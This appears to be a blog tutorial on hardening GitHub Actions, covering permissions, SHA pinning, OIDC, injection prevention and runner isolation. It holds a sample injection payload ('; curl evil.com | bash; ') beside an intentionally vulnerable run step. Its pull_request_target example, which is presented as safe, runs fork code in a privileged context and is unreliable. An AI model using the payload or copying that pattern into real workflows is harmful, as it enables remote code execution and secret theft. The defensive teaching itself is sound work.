Hardening GitHub Actions: Permissions, OIDC, and Pinned Actions
The Hardened Workflow First
Here's a production-grade workflow with every security control applied. Then I'll explain why each line matters.
name: Secure Build and Deploy
on:
push:
branches: [main]
permissions:
contents: read
id-token: write
packages: write
jobs:
build:
runs-on: ubuntu-latest
environment: production
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- uses: docker/setup-buildx-action@f95db51fddba0c2d1ec667646a06c2ce06100226 # v3.0.0
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
aws-region: us-east-1
- uses: docker/login-action@343f7c4344506bcbf9b4de18042ae17996df046d # v3.0.0
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- uses: docker/build-push-action@4a13e500e55cf31b7a5d59a38ab2040ab0f42f56 # v5.1.0
with:
context: .
push: true
tags: ghcr.io/${{ github.repository }}:${{ github.sha }}
provenance: true
sbom: true
Every action is SHA-pinned. Permissions are minimal. Cloud auth uses OIDC. No long-lived secrets.
Why This Matters
GitHub Actions is the most popular CI/CD platform. It's also the largest attack surface in most organizations. A compromised action can:
- Exfiltrate secrets from your workflow environment
- Modify your code during the build process
- Push malicious artifacts to your registries
- Access cloud resources through leaked credentials
The defaults are permissive. You have to opt in to security.
Least-Privilege Permissions
The Problem with Defaults
By default, GITHUB_TOKEN has write access to nearly everything in your repository. That's too much.
Lock It Down
# Top-level: restrict ALL jobs
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
# This job inherits read-only contents
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
deploy:
runs-on: ubuntu-latest
# This job needs more — declare per-job permissions
permissions:
contents: read
id-token: write
packages: write
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
Set restrictive permissions at the top level. Expand per-job only where needed. Any permission not listed is set to none.
Common Permission Sets
# Read-only CI (lint, test)
permissions:
contents: read
# Container build and push to GHCR
permissions:
contents: read
packages: write
# Cloud deployment with OIDC
permissions:
contents: read
id-token: write
# PR comment bot
permissions:
contents: read
pull-requests: write
Start with contents: read and add only what fails without it.
SHA-Pinned Actions
Tags Are Mutable
# DANGEROUS: Tag can be moved to point to any commit
- uses: some-org/some-action@v1
# SAFE: SHA is immutable
- uses: some-org/some-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2 # v1.2.3
When you reference @v1, you trust the maintainer to never move that tag. Tags are Git refs. They can be overwritten. A compromised maintainer account moves v1 to a malicious commit, and your pipeline runs it.
SHA pinning eliminates this risk. The comment after # documents the version for humans.
Automating SHA Pins
# Install pinact
go install github.com/suzuki-shunsuke/pinact/cmd/pinact@latest
# Pin all actions in a workflow
pinact run
# Or use Renovate / Dependabot to manage updates
Dependabot configuration for automatic SHA updates:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
groups:
actions:
patterns:
- "*"
Dependabot creates PRs when pinned actions have new releases. You get updates without losing the SHA pin.
OIDC Federation: Kill the Long-Lived Secrets
The Old Way (Don't Do This)
# AVOID: Static credentials stored as GitHub secrets
- uses: aws-actions/configure-aws-credentials@v4
with:
aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
Static keys don't expire. They can be exfiltrated. They're hard to rotate across dozens of repos.
The OIDC Way
# BETTER: Short-lived token via OIDC federation
permissions:
id-token: write
steps:
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
with:
role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
aws-region: us-east-1
GitHub mints a JWT. AWS validates it and returns a temporary credential that expires in 1 hour. No secrets to store, rotate, or leak.
AWS Trust Policy for OIDC
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
},
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:your-org/your-repo:ref:refs/heads/main"
}
}
}
]
}
The sub condition is critical. Without it, ANY GitHub Actions workflow in ANY repo can assume your role. Lock it to specific repos and branches.
Environment Protection Rules
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
Configure the production environment in GitHub with:
- Required reviewers — a human approves before deploy
- Wait timer — automatic delay for cooldown
- Branch restrictions — only
maincan deploy to production - Deployment secrets — secrets scoped to this environment only
Environment secrets are only exposed to jobs targeting that environment. A PR from a fork cannot access production secrets.
Audit Your Workflows
Run this to find unsafe patterns in your workflows:
# Find unpinned actions
grep -rn 'uses:.*@v[0-9]' .github/workflows/
# Find workflows with no permissions block
for f in .github/workflows/*.yml; do
grep -q 'permissions:' "$f" || echo "MISSING PERMISSIONS: $f"
done
# Find static cloud credentials
grep -rn 'aws-access-key-id\|aws-secret-access-key' .github/workflows/
If any of these return results, you have work to do.
Fork PR Safety
Public repositories face an additional threat: malicious fork PRs that attempt to exfiltrate secrets.
Script Injection Prevention
# DANGEROUS: PR title is user-controlled input
- run: echo "Processing ${{ github.event.pull_request.title }}"
# SAFE: Use environment variable
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Processing $PR_TITLE"
The first example allows a PR titled "; curl evil.com | bash; " to execute arbitrary commands. The second passes the title as an environment variable, preventing injection.
Audit your workflows for these patterns:
# Find potential script injection vulnerabilities
grep -rn 'github\.event\.' .github/workflows/ | grep -v 'env:'
Any ${{ github.event.* }} expression used directly in a run step is a potential injection point.
Restrict Fork Access
Use pull_request_target only when you need secrets for fork PRs (like posting comments). Always checkout the PR head explicitly:
on:
pull_request_target:
branches: [main]
jobs:
safe-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
persist-credentials: false
- run: npm ci && npm test
Supply Chain Security: Provenance and SBOM
Build provenance creates a cryptographic record of how your artifacts were built. SBOM lists every dependency.
- uses: docker/build-push-action@v6
with:
context: .
push: true
tags: ghcr.io/${{ github.repository }}:${{ github.sha }}
provenance: true
sbom: true
Consumers can verify your image was built from a specific commit:
cosign verify-attestation \
--type slsa-provenance \
--certificate-oidc-issuer https://token.actions.githubusercontent.com \
ghcr.io/your-org/your-image:v1.0.0
Self-Hosted Runner Hardening
If you use self-hosted runners, the attack surface expands significantly.
jobs:
build:
runs-on: [self-hosted, linux, x64]
container:
image: node:20-slim
Key hardening steps:
- Ephemeral runners only. Use
--ephemeralflag so the runner is destroyed after each job. Persistent runners accumulate state between jobs. - Network isolation. Runners should only access the registries and APIs they need. Block outbound traffic by default.
- No shared runners across trust boundaries. A runner that handles both public forks and private production deployments is a vulnerability.
- Run in containers. Use the
containerkey to isolate the job from the host, limiting what a compromised job can access.
./config.sh --url https://github.com/your-org \
--token YOUR_TOKEN \
--ephemeral \
--labels "production,linux,x64"
Actions Runner Controller for Kubernetes
For Kubernetes-based self-hosted runners, use the Actions Runner Controller (ARC):
apiVersion: actions.summerwind.dev/v1alpha1
kind: RunnerDeployment
metadata:
name: ci-runners
spec:
replicas: 3
template:
spec:
repository: your-org/your-repo
ephemeral: true
dockerEnabled: false
resources:
limits:
cpu: "2"
memory: 4Gi
Kubernetes-managed runners scale automatically, clean up after each job, and integrate with your existing cluster security policies.
Hardening Checklist
| Control | Priority | Effort |
|---|---|---|
Set top-level permissions: contents: read | Critical | 5 min |
| SHA-pin all third-party actions | Critical | 30 min |
| Enable Dependabot for actions | High | 5 min |
| Replace static cloud creds with OIDC | High | 1 hour |
| Use environment protection rules | High | 15 min |
Restrict GITHUB_TOKEN per job | Medium | 10 min |
| Enable build provenance and SBOM | Medium | 5 min |
| Audit for script injection | Medium | 30 min |
| Use ephemeral self-hosted runners | Medium | 1 hour |
| Set up fork PR restrictions | High | 15 min |
Conclusion
Default GitHub Actions security is insufficient. Set permissions explicitly, pin actions to SHAs, replace static secrets with OIDC, and use environments for deployment gating. Prevent script injection by routing user input through environment variables. Enable provenance and SBOM for supply chain transparency. If you use self-hosted runners, make them ephemeral. These aren't optional hardening steps — they're the baseline. A compromised CI pipeline is a compromised production environment. Treat your workflows like production code, because they are.
Related Articles
CI/CD Engineering Lead
Automation evangelist who believes no deployment should require a human. I write pipelines, break pipelines, and write about both. Code-first, always.
Related Articles
The Complete Guide to GitHub Actions CI/CD: From Zero to Production-Ready Pipelines
Build production-grade GitHub Actions CI/CD pipelines — from first workflow to reusable workflows, matrix builds, and deployment gates.
GitHub Actions Reusable Workflows and Composite Actions for DRY Pipelines
Eliminate duplicated CI/CD logic across repositories using GitHub Actions reusable workflows and composite actions with real-world examples.
GitHub Actions Matrix Builds for Multi-Platform Testing
Master GitHub Actions matrix builds to test across multiple OS versions, language versions, and configurations in parallel.